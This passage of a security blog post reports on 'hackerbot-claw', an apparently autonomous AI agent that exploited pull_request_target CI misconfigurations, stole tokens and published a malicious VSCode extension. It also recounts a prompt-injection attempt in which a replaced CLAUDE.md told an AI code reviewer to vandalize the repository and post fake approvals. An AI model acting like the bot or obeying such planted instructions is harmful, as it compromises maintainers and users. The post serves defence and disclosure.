&lt;li&gt;Push a malicious VSCode extension (&lt;strong&gt;CVE-2026-28353&lt;/strong&gt;) to the OpenVSX marketplace under Trivy's trusted publisher identity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The extension contained code designed to use local AI coding agents to collect and exfiltrate sensitive information from anyone who installed it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From first PR to full compromise: 30 minutes.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;From compromise to malicious extension published: 15 more.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  project-akri (CNCF)
&lt;/h3&gt;

&lt;p&gt;CI executed injected scripts through a similar workflow misconfiguration.&lt;/p&gt;

&lt;h3&gt;
  
  
  RustPython (20,000+ stars)
&lt;/h3&gt;

&lt;p&gt;Remote code execution achieved through CI.&lt;/p&gt;

&lt;h3&gt;
  
  
  ambient-code/platform
&lt;/h3&gt;

&lt;p&gt;This one is the most interesting.&lt;/p&gt;

&lt;p&gt;The bot replaced the repository's &lt;code&gt;CLAUDE.md&lt;/code&gt; file with social engineering instructions designed to trick Claude Code (integrated as an AI code reviewer in CI) into vandalizing the README, committing unauthorized changes, and posting fake "approved" reviews.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code caught it.&lt;/strong&gt; It classified the attempt as a "textbook AI agent supply-chain attack via poisoned project-level instructions" and refused to execute. This was the only target where the defense held.&lt;/p&gt;




&lt;h2&gt;
  
  
  Same root cause, every time
&lt;/h2&gt;

&lt;p&gt;The root cause across all seven targets was the same: &lt;code&gt;pull_request_target&lt;/code&gt; workflows configured to check out code from untrusted forks while running with elevated permissions.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pull_request_target&lt;/code&gt; runs with the base repository's secrets and permissions. If the workflow also checks out the PR head — attacker-controlled fork code — it hands that code the same elevated access. The GitHub documentation warns about this. Security researchers have been writing about it for years.&lt;/p&gt;

&lt;p&gt;But it keeps happening because the insecure version is easier to set up. A workflow that runs on &lt;code&gt;pull_request&lt;/code&gt; can't access repository secrets. That's annoying. So developers switch to &lt;code&gt;pull_request_target&lt;/code&gt; and check out the fork code — and now untrusted code runs with trusted permissions.&lt;/p&gt;

&lt;p&gt;Sound familiar? This is the same pattern we found when we &lt;a href="https://orchesis.io/blog/mcp-scan" rel="noopener noreferrer"&gt;scanned 900 MCP configurations on GitHub&lt;/a&gt;. Developers pick the path that works, not the path that's safe.&lt;/p&gt;




&lt;h2&gt;
  
  
  What made this different
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;tj-actions/changed-files&lt;/strong&gt; compromise in March 2025 (CVE-2025-30066) affected 23,000 repositories. CISA issued a formal alert.&lt;/p&gt;

&lt;p&gt;hackerbot-claw was different in three ways.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It was adaptive.&lt;/strong&gt; Five different approaches across seven targets, each customized to the specific workflow. The bot analyzed each target and picked the right vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It escalated beyond code execution.&lt;/strong&gt; In Trivy's case, the bot went from CI access to publishing a malicious extension under a trusted identity. Anyone who installed that extension would have their AI coding agents turned into credential collectors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It attempted AI-on-AI manipulation.&lt;/strong&gt; The ambient-code attack was the first publicly documented case of an AI agent trying to prompt-inject another AI agent through CI/CD infrastructure. That it failed is good news. That it was attempted at all tells you where this is going.&lt;/p&gt;

&lt;p&gt;Pillar Security called the campaign "Chaos Agent" and confirmed the agent most likely operated autonomously across the entire kill chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 45-minute timeline
&lt;/h2&gt;

&lt;p&gt;The bot opens a pull request. The &lt;code&gt;pull_request_target&lt;/code&gt; workflow triggers and checks out the fork code. The attacker's code runs with access to repository secrets.&lt;/p&gt;

&lt;p&gt;Within minutes, the bot has a PAT with write permissions. It pushes commits, renames the repository, wipes all 178 historical releases, and starts publishing to the VSCode extension marketplace.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Total time from first PR to published malicious extension: ~45 minutes.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Total time for maintainers to respond and clean up: ~48 hours.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That asymmetry is the thing I keep coming back to.&lt;/p&gt;




&lt;h2&gt;
  
  
  What this has to do with your MCP configs
&lt;/h2&gt;

&lt;p&gt;So far this reads like a CI/CD story. But the connection to the broader agent ecosystem is direct.&lt;/p&gt;

&lt;p&gt;When we &lt;a href="https://orchesis.io/blog/mcp-scan" rel="noopener noreferrer"&gt;scanned 900 MCP configurations on GitHub&lt;/a&gt;, we found &lt;strong&gt;75% had security problems&lt;/strong&gt;. The most common: 43.6% of configs reference packages without specifying a version, meaning &lt;code&gt;npx -y&lt;/code&gt; just grabs whatever is latest.&lt;/p&gt;

&lt;p&gt;hackerbot-claw shows what happens at the other end of that pipeline. The bot didn't need to poison an MCP server. It went after the CI/CD layer where those packages get built and published. One misconfigured workflow, one stolen token, and suddenly the trusted publisher is shipping malware.&lt;/p&gt;

&lt;p&gt;Version pinning protects you from a compromised package update. It doesn't help if the package gets republished by an attacker using a stolen maintainer token. That requires a different layer of defense.&lt;/p&gt;




&lt;h2&gt;
  
  
  What DataDog did right
&lt;/h2&gt;

&lt;p&gt;Within &lt;strong&gt;9 hours&lt;/strong&gt; of the attack, DataDog had deployed fixes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Added &lt;code&gt;author_association&lt;/code&gt; checks before triggering workflows&lt;/li&gt;
&lt;li&gt;Tightened token permissions to &lt;code&gt;contents: read&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Hardened path handling in the affected script&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nine hours. That's fast. I looked into whether other targets responded as quickly and couldn't find public timelines for most of them. But DataDog has a dedicated security team. Most open-source projects don't.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where this leaves us
&lt;/h2&gt;

&lt;p&gt;hackerbot-claw scanned &lt;strong&gt;47,391 repositories&lt;/strong&gt;. It found exploitable workflows in at least seven, and achieved code execution in five. The account has been removed by GitHub, but the techniques are documented and the vulnerability patterns are public.&lt;/p&gt;

&lt;p&gt;The OpenSSF published a TLP:CLEAR advisory. DataDog's State of DevSecOps 2026 report now cites the campaign. OWASP published their MCP Top 10, addressing several of the same vulnerability classes.&lt;/p&gt;

&lt;p&gt;If you maintain a public repository with GitHub Actions: check your &lt;code&gt;pull_request_target&lt;/code&gt; workflows.&lt;/p&gt;

&lt;p&gt;If you use MCP servers: check whether your configs pin versions and scope permissions.&lt;/p&gt;

&lt;p&gt;If you publish to npm, PyPI, or extension marketplaces: check what tokens your CI has access to.&lt;/p&gt;

&lt;p&gt;The scanner we built for MCP configs catches the same class of issues that enabled these attacks. &lt;a href="https://orchesis.io/scan" rel="noopener noreferrer"&gt;orchesis.io/scan&lt;/a&gt; — runs in your browser, 52 checks, nothing sent anywhere.&lt;/p&gt;

&lt;p&gt;Full write-up on the MCP scan results: &lt;a href="https://orchesis.io/blog/mcp-scan" rel="noopener noreferrer"&gt;orchesis.io/blog/mcp-scan&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>mcp</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
